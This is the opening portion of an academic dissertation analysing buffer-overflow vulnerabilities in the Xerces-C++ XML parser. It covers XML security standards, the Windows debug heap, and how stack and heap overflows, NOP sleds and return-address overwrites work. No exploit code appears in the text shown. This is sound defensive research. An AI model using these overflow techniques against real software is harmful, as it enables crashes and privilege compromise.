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One of the key concerns to the adoption of XML as the de facto standard for information

representation is security. This has clear concerns for the continued success of Web Services

as many elements of Web Services are XML based. XML parsers are present in all XML

based applications and therefore any security vulnerability discovered in a parser is a serious

threat to all applications of which it is a component.

This thesis concerns itself with the analysis of the Xerces-C++ (Xerces) parser. It deals

explicitly with vulnerabilities that could be exploited by an attacker, for uses such as crashing

or gaining privileges on applications that incorporate Xerces. Xerces was chosen as it is open

source, is widely available and is written in a non-typesafe language, i.e. C++.

Using a static analysis tool, ITS4, two separate buffer overflows were discovered. The

first buffer overflow, a heap based overflow, was caused by the use of the insecure C function

strcat() and could be effected by the use of theschemaLocation attribute in an XML

document or schema. The second buffer overflow, a stack based overflow, was caused by the

use of the insecure C functionstrcpy() and could be effected using Xerces error messages

location setting.

The same method which caused the first overflow in Xerces, was then tested on two

applications which incorporated Xerces as a component. The two applications were Berkeley

DB XML and Xalan-C++. Both applications crashed, suffering the same buffer overflows as

was observed in Xerces.
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The results showed that there are indeed vulnerabilities in Xerces, which can be used to

cause buffer overflows in and crash applications that use Xerces as a parser. Unless addressed

these kinds of vulnerabilities could have serious repercussions for the future of XML and

XML based applications.
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Chapter 1

Introduction

1.1 Introduction

It is acknowledged that one of the key concerns to the broad adoption of Web Services is

security. As Web Services integration becomes integral to core business processes, protect-

ing web services from attack by hackers will become more and more necessary. Apart from

being the standard for representing data in web services, protocols such as the Simple Object

Application Protocol (SOAP) [1], which is the messaging protocol used to encode the in-

formation in Web Service request and response messages and the Web Services Description

Language (WSDL) [2], which is the language used to describe Web Services are XML based.

It is very easy to create and parse and is platform and vendor independent, making it perfect

for use in the heterogeneous environment of the internet. As XML is so pervasive it makes

it a prime target to either be attacked itself or used as a means of attacking another vulnera-

ble component, such as an XML parser. Any application that uses XML must incorporate a

parser to process incoming XML documents so the data contained within the documents can

be used by the application. This makes parsers integral to web services and so an obvious

point of attack for hackers. There are already many attacks known, such as Denial of Service

attacks, which target poorly coded parsers.

The rest of this Chapter will give a general introduction to XML security and known

XML vulnerabilities, an overview of the research objectives of this dissertation and an outline

of the structure of this dissertation.
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1.2 XML Security

XML security can be broken up into two main areas; firstly there is the security of XML

documents themselves and secondly there is the use of XML technology to enhance security

for other applications. One of the problems with XML is that the core specification does

not address security in anyway. This leaves developers with the hard task of finding ways to

secure their data. Three of the fundamental tenets of data security are data authentication,

integrity and confidentiality.

In terms of XML security these are addressed by Digital signatures and Encryption. XML

encryption (Xenc), is a standard proposed by the W3C and IETF for encrypting the XML

tags and data within an XML document, which can run in conjunction with being able to

use standard methods of encryption when transmitting XML documents. This would allow

one to encrypt sensitive portions of a document or to even encrypt different portions of a

document with different keys so the one XML document could be distributed to various re-

cipients, with each recipient only being able to decrypt the parts relevant to them. XML

signatures (XML-SIG), are closely related to encryption. They are similar in concept to se-

curity certificate signatures and are used to ensure that the content within an XML document

has not changed.

The other side of XML security is leveraging the features of XML to provide security for

other applications. The Security assertion markup language (SAML) handles the exchange of

authentication and authorization requests and responses between systems. A SAML request

is sent via SOAP to the counterpart system which processes the request. The XML key

management specification (XKMS) defines a way to distribute and register the public keys

used by the XML-SIG specification and is made up of two parts: the XML Key Registration

Service Specification (X-KRSS) and the XML Key Information Service Specification (X-

KISS). The Extensible Access Control Markup Language (XACML) is designed specifically

for creating policies and automating their use to control access to resources on a network. It

can be seen as a counterpart to SAML.

As XML becomes more pervasive across the internet, it is imperative that the deployed

XML applications are secure. XML Signatures and XML Encryption ensure that the authen-

ticity, integrity and confidentiality of the documents can be trusted.
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1.3 XML Vulnerabilities

As XML becomes ubiquitous, many more types of security issues will surface. Some target-

ing the XML itself and some using the XML as the means to target applications and other

resources. There are many types of attacks that can compromise XML based applications,

using XML as the source of the attack. Many of these types of attack prey on the fact that

many parsers do not put an upper limit to processing parameters or resource consumption

[3]. Some of the most common are XML Content-Based attacks, Denial-Of-Service Attacks,

Schema Poisoning and Buffer Overflow Attacks.

1.4 Research Objectives

As has been alluded to the XML parser is an integral component in all XML based applica-

tions and so is an obvious point of attack especially as it very much on the outer limits of the

application structure, dealing with the raw XML documents as they are received. With this

in mind the objective of this thesis was to examine XML parsers for vulnerabilities such as

Schema Poisoning, Content-based attacks and Denial of Service attacks and document any

vulnerabilities, if any, that are found. It was decided to concentrate on one type of parser,

the Xerces-C++ parser, which is part of the Apache XML project. The reasons for this being

it was open source, there was a large amount of information available on it and the fact that

it was written in a non typesafe language, which gives more scope for possible vulnerabil-

ities. Finally any vulnerabilities that are found will be tested against real applications that

use the Xerces-C++ parser. The Microsoft Windows XP platform with service pack 2 was

used throughout this dissertation and so the Windows implementations of all applications

that feature in this dissertation were used.

1.5 Dissertation Outline

The following is an outline of the structure of the rest of this document.

• Chapter 2 - Background, this Chapter gives an overview of some of the key topics in

this dissertation. These topics include XML, XML parsing and XML security mecha-

nisms.
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• Chapter 3 - State of the Art, this Chapter discusses the current level of understanding

in the areas key to this dissertation.

• Chapter 4 - Vulnerability Analysis, this Chapter introduces the buffer overflow vul-

nerabilities and the methods that were developed to implement them. It also discusses

some of the other types of attacks which were attempted but resulted in no vulnerabil-

ities being found.

• Chapter 5 - Vulnerability Implementation, this Chapter describes how the methods

discussed in Chapter 4 were employed to cause the buffer overflows in Xerces-C++

and discusses the outcomes of their implementations.

• Chapter 6 - Vulnerability Demonstration, this Chapter describes how the methods used

to cause the heap overflow in Xerces-C++ were evaluated on two applications that in-

corporate Xerces-C++ as a component. The results of these are then evaluated. Theo-

retical exploits of these vulnerabilities are then discussed and finally countermeasures

to these vulnerabilities are discussed.

• Chapter 7 - Conclusion, this Chapter gives a final summation of this dissertation. Ideas

for further work are also discussed.

• Appendix A - Heap Vulnerability Exploit, this Appendix gives example code for a

heap buffer overflow exploit.

• Appendix B - Static Analysis Output, this Appendix gives the output from the static

analysis of the Xerces-C++ code.

• Appendix C - BinHTTPURLInputStream Class, this Appendix shows the constructor

for the BinHTTPURLInputStream class.

• Appendix D - ICUMessageLoader Class, this Appendix shows the constructor for the

ICUMessageLoader Class.

• Appendix E - Heap Buffer Overflow Code, this Appendix contains the code used for

implementing the heap based buffer overflow.

• Appendix F - Stack Buffer Overflow Code, this Appendix contains the code used for

implementing the stack based buffer overflow.
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• Appendix G - Compiling Xerces-C++ with ICU Message Support, this Appendix de-

scribes how to compile Xerces-C++ with ICU Message Support.

• Appendix H - IPO.xml, this Appendix shows the XML document used for all tests

throughout this dissertation.

• Appendix I - Xalan-C++ Vulnerability Demonstration Code, this Appendix shows the

code used for implementing the heap based buffer overflow in Xalan-C++.

• Appendix J - Berkeley DB XML Vulnerability Demonstration Code, this Appendix

shows the code used for implementing the heap based buffer overflow in Berkeley DB

XML.
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Chapter 2

Background

This Chapter gives an overview of some of the key topics in this dissertation such as XML,

XML parsing and XML security mechanisms.

2.1 XML

Traditionally HTML is the language used to create web pages. It supports basic hypermedia

document creation and layout. Unfortunately not all pages display HTML in the same way,

web pages can look different depending on the browers capabilities and the device it is on.

The problem with HTML is that the structure, ie the content itself and its presentation are

mixed and hence tailored to be shown in a particular way. Extensible Markup Language

(XML) [4] allows structure and presentation to be separated. It is a document processing

standard, derived from the Standard General Markup Language (SGML) proposed by the

W3C which is used for creating document markup languages and was designed to describe

data and focus on what the data is, unlike HTML which was designed to display data and

focus on how it looks. The Extensible Stylesheet Language (XSL) [5], the style sheets lan-

guage of XML, allows XML documents to be translated to other formats for example to

transform XML into HTML before it is displayed by the browser. XML is platform indepen-

dent and so in a world of heterogenous systems and data types, XML can be used to provide

conformity in the exchange of information between different systems. XML documents are

extensible, in that one can add more elements to an XML document and the document should

still be valid as long as it still conforms to the rules defined in it’s schema or DTD.
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<?xml version ="1.0" encoding="ISO-8859-1"?>
<note id="1">

<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don’t forget me this weekend!</body>

</note>

Figure 2.1: Example XML Document

An XML document, such as that shown in figure 2.1, which is an XML representation of

a note written to someone, consists of elements, attributes and other information. Elements

are the main building blocks of XML documents. Elements are marked up with tags, an

opening and closing tag. For example in figure 2.1, the<to> and</to> tags define an

element which describes to whom the note is to. Between the opening and closing tags

of the element, the information the element is describing is placed. Elements in an XML

document can have relationships such as in figure 2.1; whereto , from , heading and

body are children of the root elementnote .

Attributes are contained within elements, these contain additional information about the

element, which is not necessarily part of the information described by the XML, but could

be of use to the application that uses the document. In figure 2.1, thenote element contains

the attributeid , which gives an identifier for the note. Attributes always have a name and

a value separated by an equals sign. The value is always surrounded by single or double

quotes.

Unlike in HTML where the markup tags are fixed, XML requires the user to create their

own tags, which are defined in a DTD or more modernly in a schema. This gives the user

flexibility and control over how they want to markup their data.

A DTD like a schema, defines the grammar rules for an XML document, which and in

what order elements and attributes can appear in the document and the relationship between

them. The syntax is somewhat similar to Backus Naur Form. A document which adheres to

the rules outlined in the DTD is said to be valid.

Schemas are an alternative method of defining the rules governing XML documents.

Although they are less readable, they have a number of advantages, the two greatest being

that they are themselves XML documents and so are extensible and also the ability to define

data types.
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<?xml version ="1.0" encoding="UTF-8"?> <schema
xmlns="http://www.w3.org/2001/XMLSchema"
targetNamespace="https://www.cs.tcd.ie/~odonnelj/1.0">

<! -- definition of simple elements -- >
<element name="orderperson" type="string"/>
<element name="name" type="string"/>
<element name="address" type="string"/>

</schema>

Figure 2.2: Example Schema

As can be seen from figure 2.2, a schema always has a schema element as root, together

with some attributes such as namespace definitions and rules on qualifying elements. Under

this element are the definitions of the elements, attributes and other data that can be contained

in any XML document that adheres to the schema.

As alluded to above XSL is a family of recommendations for defining XML document

transformation and presentation. It consists of three parts:

• XSL Transformations (XSLT) [6] is a language for transforming XML documents into

other formats such as HTML or PDF. An XSLT stylesheet consists of a collection of

template rules, each of which specify what to add to the output document when the

XSLT processor finds a node in the source tree that meets certain conditions.

• XML Path Language (XPath) [7] is a declarative language for locating nodes and frag-

ments in XML trees. Its used in XPointer for addressing, XSL for pattern matching

and XQuery for selection and iteration. Although originally created to provide a com-

mon syntax and behavior model between XPointer and XSL, XPath has rapidly been

adopted by developers as a query language.

• XSL Formatting Objects (XSL-FO)[8] is an XML vocabulary for specifying format-

ting semantics.

XQuery 1.0 is an XML Query Language that uses the structure of XML intelligently

and can express queries across all these kinds of data, whether physically stored in XML

or viewed as XML via middleware [9]. It is semantically similar to the way in which SQL

works.

8



2.2 XML Parsing

Any application that needs to process XML data requires an XML parser. XML parsers take

textual representations of XML documents as input and create data representations of the

documents as output which capture the XML hierarchy of the document and can be used by

the application to process them. The parsers also serve to check the well-formedness and

validity of the document.

XML parsers will not try and process an XML document unless it is well-formed and

therefore adherent to the XML standard. For an XML document to be considered well-

formed it must obey certain constraints contained in the XML specification [4]. These in-

clude the following constraints:

1. Element Type Match: The Name in an element’s end-tag must match the element

type in the start-tag.

2. No Recursion: A parsed entity must not contain a recursive reference to itself, either

directly or indirectly.

3. Root Element: Each XML document must have one, and only one, root element.

4. Quoted Attribute values: All attribute values must be surrounded by quotation marks.

Validation ensures that the structure of the XML document is correct. An XML document

is validated against its associated schema to ensure that it follows the structure defined by

the schema, such as the elements present, they’re order and allowed values.

The parser creates either an in-memory representation of the data, which is called tree

based parsing, or a stream of events, which is known as event based parsing, which can then

be processed using the requisite API. In a tree based structure the XML document is mapped

into an internal tree structure.

The Document Object Model (DOM) [10], is the best example of a tree based structure.

The W3C Document Object Model (DOM) is a platform and language neutral interface that

allows programs and scripts to dynamically access and update the content, structure, and

style of a document [11]. It is divided up into 3 parts; core, XML and HTML. DOM level 1

defines most of what is needed for basic XML functionality, the ability to construct a repre-

sentation of an XML document. DOM Level 2 adds namespaces, events, and iterators, plus

view and stylesheet support. DOM Level 3 specifies content models (DTD and Schemas)

9



and document validation. It also specifies document loading and saving, document views,

document formatting, and key events. XML DOM creates a hierarchical structure out of an

XML document which can then be navigated using the DOM API. This allows information

to be modified, deleted or added to the DOM document. The major problem with this method

for parsing is that the entire document must be loaded into memory before the information

can be accessed, which for large documents can be very time and resource intensive. These

problems can be solved using other models such as event based models, the most popular

being the Simple API for XML (SAX) [12] model.

The SAX model works on streams of data, processing the data and reporting parsing

events to the application as it is read. There reports are called callbacks and are reported to

event handlers in the application. In this way the whole document does not have to be built

up in memory. The downside of this being that is very hard to navigate through a document

and manipulate the information contained within or to move backwards in the data stream.

SAX is actually two separate APIs, SAX 1.0 is the original, and SAX 2.0 is the current

revised specification. The two are similar, but different enough that most applications based

on SAX 1.0 break when they are moved to the newer specification.

There are many different XML parsers available today, some using the event based model

of parsing and others using the tree based model. Some of the more common are Xerces,

which is the parser used in this dissertation and Microsoft’s MSXML, Sun’s Project X parser

and Oracle’s parser.

2.3 Xerces-C++

Xerces-C++, named after the Xerces Blue butterfly is a validating XML parser written in

a portable subset of C++ [13], which implements the W3C XML and DOM (Level 1 and

2) standards, as well as the de facto SAX (version 2) standard. The Xerces-C++ parser

originated as the XML4C project at IBM. XML4C was a companion project to XML4J,

which likewise was the origins of Xerces-J, the Java implementation of the Xerces parser.

IBM released the source for both projects to the Apache Software Foundation, where they

were renamed Xerces-C++ and Xerces-J, respectively [14]. A Perl wrapper is provided for

the C++ version of Xerces, which allows access to a fully validating DOM XML parser from

Perl. It also provides for full access to Unicode strings. Some of the uses of the parser

include Building XML-savvy Web servers, the next generation of vertical applications that
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use XML as their data format and on-the-fly validation for creating XML editors. Xerces

is part of a family of software packages, the Apache XML project, used for manipulating

and parsing XML. The goals of the Apache XML Project are to provide commercial-quality

standards-based XML solutions that are developed in an open and cooperative fashion, to

provide feedback to standards bodies (such as IETF and W3C) from an implementation

perspective, and to be a focus for XML-related activities within Apache projects [13]. Some

of the other sub-projects under the Apache XML Project umbrella are:

• Xalan - XSLT stylesheet processors, in Java and C++

• AxKit - XML-based web publishing, in mod_perl

• Xang - Rapid development of dynamic server pages in JavaScript

• SOAP - Simple Object Access Protocol

• Crimson - A Java XML parser derived from the Sun Project X Parser.

• XMLBeans - XML-Java binding tool

Xerces-C++ allows the application to use the DOM or SAX API’s depending on the type of

XML documents being processed and what type of information is needed from them.

2.4 Existing XML Security Mechanisms

If XML is to fully take off and be the complete standard for information exchange then

XML security standards will need to be developed so users can be confident of issues such

as controlling content distribution and ensuring its integrity. Below are some of the XML

standards that deal with security issues.

2.4.1 XML Signatures

XML Signatures (XML-SIG) [15] provide integrity and authentication to XML documents.

They provide a mechanism for managing the data sent in XML format such that one can

be sure where the data originated from and that it has not been modified in transit. The

mission statement of the IETF and W3C XML Signature working group is to develop an
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XML compliant syntax used for representing the signature of Web resources and portions

of protocol messages and procedures for computing and verifying such signatures [16]. The

specification defines a schema and corresponding DTD that specify how XML signatures

can be represented. XML signature defines the syntax used to sign all or importantly part of

an XML document. The XML signature can be included inside of the document to which

the signature applies, or it can exist in a separate document. It contains the basic encrypted

hash of the signed document, along with information that tells the recipient of the document

what data was signed and which algorithms were used. A single document can have multiple

signers either in different sections of the document or even over the same section. One of

the main problems with trying to implement an XML signature is that typographical varia-

tions can end up giving a document a completely different signature. To guard against this

canonicalization (XML-C14N) [17] was introduced. Canonicalization structures the docu-

ment in its simplest form. XML digital signatures are represented by the Signature element,

reference 3.1, shows the outline for a signature, where? denotes zero or one occurrence,+

denotes one or more occurrences and* denotes zero or more occurrences.

<Signature ID ?>
<SignedInfo>

<CanonicalizationMethod/>
<SignatureMethod/>
(<Reference URI? >

(<Transforms>)?
<DigestMethod>
<DigestValue>,

</Reference>)+
</SignedInfo>
<SignatureValue>

(<KeyInfo>)?
(<Object ID ?>) *

</Signature>

Figure 2.3: Example XML Signature

The main steps for signing a document are:

• Pick the algorithms you wish to use for signing, digesting, etc

• Decide which parts of the XML document are to be signed

• Digest the above using the chosen hash algorithm

12



• Form a SignedInfo element

• Canocalise the above

• Apply your private key

• Form up an XML<Signature>

2.4.2 XML Encryption

XML encryption (Xenc) [18], is the new encryption standard for encrypting XML data and

tags within a document. It follows the traditional encryption steps for public key cryptog-

raphy, where the data is encrypted, typically using a randomly created secret key and then

the secret key is encrypted using the intended recipient’s public key. This information is

packaged to ensure that only the intended recipient can retrieve the key and decrypt the data.

Decryption involves applying the private key to decrypt the secret key, then decrypting the

data with the secret key. The specification provides end-to-end security for applications that

require secure exchange of structured XML data and addresses security requirements that

are important to Xenc but have been over looked by the de facto standards, TLS and SSL

such as encrypting parts of documents and setting up secure sessions between more then 2

parties. This means that any party in a session have could secure or insecure states with any

of the communicating other parties. XML Encryption can handle both XML and non-XML

data. The data is encrypted using a strong symmetric encryption algorithm such as AES. As

Xenc allows one to encrypt individual tags within a document it is possible to encrypt sepa-

rate portions of a document with different keys, so one XML document could be distributed

to various recipients, but each recipient would only be able to decrypt the parts relevant to

them. Figure 4.1, shows the outline for an<EncryptedData> element.

TheCipherData element envelopes or references the raw encrypted data. If the raw

data is being enveloped the raw encrypted data is theCipherValue element’s content

and if its being referenced theCipherReference element’s URI attribute points to the

location of the raw encrypted data. Once an XML document has been encrypted, a tag de-

noting the beginning and end of the encrypted information appears in the document, defined

by <EncryptedData> tags that refer to the encryption namespace at W3C. Actual tag

names are replaced with the tags<CipherData> and<CipherValue> .
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<EncryptedData Id? Type? MimeType? Encoding?>
<EncryptionMethod/>?
<ds:KeyInfo>

<EncryptedKey>?
<AgreementMethod>?
<ds:KeyName>?
<ds:RetrievalMethod>?
<ds: * >?

</ds:KeyInfo>?
<CipherData>

<CipherValue>?
<CipherReference URI?>?

</CipherData>
<EncryptionProperties>?

</EncryptedData>

Figure 2.4: Example <EncryptedData> Element

2.4.3 Security Assertion Markup Language

SAML is the OASIS consortium’s Security Assertion Markup Language [19]. It is one

of many languages which builds on the syntax and semantics of XML. SAML uses XML

signatures and encryption to protect the exchange of security credentials for single sign-

on and other applications. A SAML request contains information such as authentication,

username and password. This information is delivered to an application designed to process

it with the intended goal of using XACML to allow or deny access to an XML resource.

SAML use an Assertion scheme created by OASIS. Assertions are constructs that convey

information about authentication acts performed by subjects (users or computers), attributes

of subjects, and authorization decisions about whether subjects are allowed to access certain

resources which are issued by SAML authorities. SAML also defines protocols for client

requests for assertions and responses from authorities. Finally SAML also defines bindings

to other protocols, such as HTTP and SOAP.

2.4.4 XML Key Management Specification

XKMS is W3C’s XML Key Management specification [20] for defining a way to distribute

and register the public keys used by the XML-SIG specification. The specification provides

an XML Web services framework for relieving client software of the complexities of tradi-

tional PKI by specifying protocols for distributing and registering public keys and is to be
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used in conjunction with XML Signature and XML Encryption. It will make it straightfor-

ward to develop applications that will interact with key-related services such as registration

and validation since all developers will have to worry about is XKMS clients, as the XKMS

servers will be looked after by PKI providers. The specification is divided into 2 parts:

The XML Key Information Service Specification (X-KISS) and the XML Key Registration

Service Specification (X-KRSS). X-KISS minimizes the complexity of applications using

XML Signature by allowing the client to delegate the tasks for processing XML signature

elements to a trusted service. Thus by becoming a client of the trust service, the application

is relieved of the complexity and syntax of the underlying PKI used to establish trust rela-

tionships. X-KRSS describes a protocol for registration of public key information. XKMS

will even allow mobile devices to access full-featured PKI through ultra-minimal-footprint

client device interfaces.

2.4.5 Extensible Access Control Markup Language

The Extensible Access Control Markup Language (XACML) is designed to standardise pol-

icy management and access decisions, specifically for creating policies and automating their

use to control access to disparate devices and applications on a network [21]. Like XKMS

and SAML it is built on the syntax and semantics of XML. The SAML specification defines

how identity and access information is exchanged, but SAML can only communicate in-

formation XACML defines how this information is used. The XACML specification which

offers the same descriptions of subjects and actions as SAML, lets one define rules for cre-

ating an organization’s security policies and making authorization decisions. XACML has 2

basic components. The first is an access-control policy language that lets developers specify

the rules about who can do what and when and the other is a request/response language that

presents client requests for assertions and responses to these requests. When a client makes

a resource request to a system, the Policy Enforcement Point (PEP) controls the access to the

resources. In order to enforce policy, the PEP formalises attributes describing the requester

client at the Policy Information Point (PIP) and delegates the authorization decision to the

Policy Decision Point (PDP). Applicable policies are located in a policy store and evaluated

at the PDP, which then returns the authorization decision. Using this information, the PDP

can deliver the appropriate response to the client1.

1http://dev2dev.bea.com/pub/a/2004/02/xacml.html
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2.4.6 Web Services Security

Oasis’s Web Services Security (WSS) specification is a standard set of SOAP extensions

that can be used when building secure Web Services to implement message integrity, mes-

sage confidentiality and single message authentication [22]. WSS was originally developed

by IBM, Microsoft, and VeriSign. As Web Services are used in many heterogeneous en-

vironments, WSS does not specify a particular set of message exchanges or cryptographic

operations but is designed to be used as the basis for the construction of a wide variety

of security models including PKI, Kerberos, and SSL. WSS provides support for multiple

security tokens, multiple trust domains, multiple signature formats, and multiple encryp-

tion technologies. The WSS specification provides three main mechanisms: security token

propagation, message integrity, and message confidentiality. The specification is extensible

and so WSS can be used in conjunction with other Web Service extensions and higher-level

application-specific protocols to accommodate a wide variety of security models and encryp-

tion technologies.

2.5 Security Institutions

In this section some of the institutions and other forums that deal with internet security will

be discussed.

2.5.1 CERT

The Computer Emergency Response Team (CERT) is an organisation devoted to ensuring

that appropriate technology and systems management practices are used to resist attacks on

networked systems and to limiting damage and ensure continuity of critical services in spite

of successful attacks, accidents, or failures2. It is located at the Software Engineering Insti-

tute (SEI), which is operated by Carnegie Mellon University. The CERT Coordination Center

(CERT/CC) is one component of the overall CERT Program. It was created by DARPA in

1988 after the Morris worm struck and is a major coordination center in dealing with internet

security problems. In September 2003, the Department of Homeland Security announced the

creation of US-CERT, a joint effort with CERT/CC. US-CERT draws on CERT/CC capabili-

2http://www.cert.org/nav/index_main.html
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ties to help prevent cyber attacks, protect systems, and respond to the effects of cyber attacks

across the Internet3.

2.5.2 FIRST

FIRST is the global Forum for Incident Response and Security Teams4. It is the recog-

nized global leader in incident response. The aims of FIRST are to foster cooperation and

coordination in incident prevention, to stimulate rapid reaction to incidents, and to promote

information sharing among members and the community at large. It was founded in 1990, as

a response to the need for information exchange and cooperation on issues such as new vul-

nerabilities and wide ranging attacks. FIRST brings together a wide variety of security and

incident response teams including especially product security teams from the government,

commercial, and academic sectors.

2.5.3 Bugtraq

Bugtraq is a full disclosure mailing list dedicated to computer security issues such as vul-

nerabilities, exploitations and fixes. It was formed in 1993 by Scott Chasin as a response to

what he saw as the perceived failings of the existing security infrastructure to deal with the

influx of vulnerabilities that were appearing at the time. The idea behind the mailing list was

to publish new vulnerabilities in full regardless of vendor response and so force the vendors

into developing fixes for the vulnerabilities, something they were notoriously slow in doing

at the time. Since 1999 Bugtraq has been the property of the computer security company

SecurityFocus5, who are owned at present by the security company Symantec6.

2.6 Win32 CRT Debug Heap

The C Run-time library (CRT) provides operators and functions likemalloc() , new and

free() for heap memory management. In debug mode these operators are implemented

differently to the release versions. An example of this being_malloc_dbg the debug

3http://www.us-cert.gov/
4http://www.first.org/
5http://www.securityfocus.com/
6http://www.symantec.com/index.htm
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version of the malloc operator, which like malloc allocates memory on the heap, but also

offers several debugging features such as buffers on either side of the user portion of the

block to test for leaks and a block type parameter to track specific allocation types. In debug

mode the operators are implemented to guard against and spot heap errors such as overflows

and underflows. This is achieved through methods such as using guard blocks to detect

overflows, initialising newly allocated memory to a fixed value (0xCD) to aid reproducibility

and setting freed blocks to a known value (0xDD) so that the writing through of dangling

pointers can be detected7.

When one of the CRT operators such asnew is used to request an amount of memory on

the heap, the CRT will actually allocate more then was requested so as to wrap the allocated

block with bookkeeping information8. For each allocated block, the CRT keeps information

in a structure called_CrtMemBlockHeader . Figure 2.5 shows the declaration for this

structure.

#define nNoMansLandSize 4

typedef struct _CrtMemBlockHeader {
struct _CrtMemBlockHeader * pBlockHeaderNext;
struct _CrtMemBlockHeader * pBlockHeaderPrev;
char * szFileName;
int nLine;
size_t nDataSize;
int nBlockUse;
long lRequest;
unsigned char gap[nNoMansLandSize];
/ * followed by:

* unsigned char data[nDataSize];

* unsigned char anotherGap[nNoMansLandSize];

* /
} _CrtMemBlockHeader;

Figure 2.5: _CrtMemBlockHeader Structure

pBlockHeaderNext andpBlockHeaderPrev are pointers to the blocks allocated

previously and after the current block.nDataSize defines the number of blocks requested.

nBlockUse defines the type of block it. The block can be a freed block, a normal block or

a block specially used by the CRT.gap[nNoMansLandSize] is a zone of 4 bytes filled

7http://www.nobugs.org/developer/win32/debug_crt_heap.html
8http://www.codeguru.com/Cpp/W-P/win32/tutorials/article.php/c9535/
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with 0xFD, fencing the data block ofnDataSize bytes. Another block filled with 0xFD of

the same size follows the data. These guard blocks are used to check for heap errors such as

buffer overflows. The CRT checks these blocks to make sure that they contain 0xfd. If they

have changed the CRT knows that can error has occurred and throws an exception.

Most of the actual heap block allocation work is done using the Win32 functions,

HeapAlloc() andHeapFree() . When the functionmalloc() is used to request a cer-

tain amount of bytes on the heap,malloc() will call HeapAlloc() , which will request

36 more bytes more on top of what has already been requested. These bytes are split up be-

tween 32 bytes for the_CrtMemBlockHeader structure and another nNoMansLandSize

number of bytes, which is 4 bytes as present, to fence the data zone. This all gets initialised to

0xBAADF00D. Memory also needs to be reserved for Win32 bookkeeping information and

soHeapAlloc() will reserve another 40 Bytes in addition for this. 8 Bytes are reserved

for below the memory already reserved and 32 Bytes for above it. Finallymalloc() fills

the_CrtMemBlockHeader block with information, initialises the data block with 0xCD

and the guard blocks with 0xFD.

When the block is freed using an operator such asfree() , the CRT will set the block it

requested fromHeapAlloc() to 0xDD, indicating this is a free zone. Normally after this,

free() will call HeapFree() to give back the block to the Win32 heap, in which case

the block will be overwritten with 0xFEEEEEEE, to indicate Win32 heap free memory.
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Chapter 3

State of the Art

This Chapter discusses the current level of understanding in the areas key to this dissertation.

3.1 Unsafe Coding Practices

3.1.1 Buffer Overflows

A buffer overflow is an anomalous condition where a program somehow writes data beyond

the allocated end of a buffer in memory, usually occurring in programs written in languages

such as C or C++ which are not typesafe. This occurs because of insecure functions in the

programming languages libraries that fail to check the lengths or bounds of their arguments.

Three of the most common are thegets() , strcpy() andstrcmp() functions. The

signature for thestrcpy() function ischar * strcpy ( char * dest, const

char * src ) . All this function simply does is to copy the data stored in the source

buffer to the destination buffer. This is fine so long as the data stored in the source buffer is

less that the size of the destination buffer, if this is not the case then the data copied into the

destination buffer will overflow the buffer and overwrite whatever is stored beside the buffer

in memory. This can lead to important information being erased and applications crashing,

but more sinisterly attackers can feed in specially crafted information which will overflow

and change the data following the buffer in some way so as to let the attacker exploit the

application or even the system the application is running on. Exploits can lead to situations

such an attacker could gain root privileges on the target system or the modification of user

passwords or important files being overwritten.
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The first well known exploit using buffer overflows occurred in 1988, when the Morris

worm was released onto the internet. The worm exploiting an unchecked buffer initialised by

the gets() function call in thefingerd daemon process [23], collected host, network,

and user information and then broke into other machines using the same exploit. After

breaking in, the program would replicate itself and the replica would attempt to infect other

systems. This resulted in over 6,000 systems being shutdown in just a few hours.

All programs and applications can be divided into two basic parts: text and data. The

text is the actual read-only program code and data is the information that the program code

operates on. The data area can be broken down into 3 parts: static, stack and heap data.

Static data reserved for information known before runtime such as global variables and static

class members.

The stack is an actual data structure which works on the principle of last in first out,

growing down from higher to lower memory addresses. It holds a function’s parameters

and local variables while that function is in scope and importantly it also holds the return

address for the next instruction to be executed after the present function has returned. Items

are pushed onto the top of the stack when they are added to it and popped off the top of the

stack when taken off.

The heap is the section in memory where all dynamically allocated variables are stored.

These are variables which are allocated at run time by C and C++ operators such as

malloc() andnew. The heap grows from lower to higher memory addresses. Figure 3.1,

represents the basic memory layout1.

Stack Overflows

Stack overflows involve the overwriting of function pointers so as to change program flow or

gain elevated privileges on the System [24].

When a function is called, the first thing that takes place is that the function parameters

are pushed onto the stack. The CALL instruction then pushes the instruction pointer (EIP)

onto the stack. The instruction pointer, holds the address of the next code to be executed

when the function returns. The function can now execute on its own. First, the Stack Frame

Pointer (SFP) of the function within which the new function is being called from is pushed

onto the stack. The SFP always points to a fixed location within the stack frame and is

1http://www.windowsecurity.com/articles/Analysis_of_Buffer_Overflow_Attacks.html
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Figure 3.1: Memory Arrangement

used to refer to the local variables and parameters stored on the stack. The current stack

pointer (ESP), is then copied into the base pointer (EBP) register, making it the new SFP. The

ESP always points to the last element that was pushed onto the stack. Finally the memory

space for the local variables is allocated by subtracting their size from the ESP. The opposite

happens when the function exits. So if an attacker was able to modify the EIP value on the

stack then when the function exits the attacker would be able to control where in memory

the program went to execute the next instruction. A potential buffer overflow gives the

attacker the obvious method to do this, by overflowing a buffer the attacker could potentially

overwrite the return address. Finding the exact position of the return address in memory is

tricky, the easiest way is too overflow a whole memory region setting each overwriting word

value to the chosen memory address. The next problem is knowing the exact address of the

buffer containing exploit shellcode in memory. An approximate address will be known and

this can be used sufficiently by putting shellcode in the middle of the buffer and padding

the beginning with NOP opcode. NOP is a 1 byte opcode that does nothing at all. So when

it comes time to retrieve the return address, the stack pointer will jump to the approximate

address and then execute NOPs until finding the shellcode and running whatever instruction

is contained in the shellcode [25].

Heap Overflows

Heap overflows are less common then stack based overflows due to the fact that they are

harder to achieve.
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The heap is a large contiguous block of memory for dynamically allocated variables.

When a dynamically allocated variable is created a section of the heap is reserved for the

variable and a pointer to the first memory location of the section is returned. Thefree

operator is used to free these memory sections again once they are not needed. Consecutive

sections of used or unused memory in the heap are called chunks. Signatures at the top and

bottom of the chunks are used to indicate whether they are free or in use.

Unlike stack overflows where the attacker concentrates on overwriting the return address,

heap based overflows concentrate on overflowing a buffer or pointer, for example, that is

located after the buffer in memory. There are several kinds of heap based overflows, the

overwriting of pointers being the easiest. The idea being that the attacker use an overflow

to overwrite resources such as filenames or passwords. What makes heap based overflows

harder is that unlike a stack based overflow where the Instruction pointer is always present on

the stack frame, there is no promise that there will be an interesting pointer or buffer located

after the vulnerable buffer.

3.1.2 Integer Manipulation Vulnerabilities

There are two types of Integer manipulation vulnerabilities integer underflows and overflows.

Integer overflows are by far the more common2. These vulnerabilities are caused by the fact

that integers in computers have a finite range. For instance, the range of a signed 16-bit

integer is -32767 to 32767. If a value is operated on and moves out of this range then it could

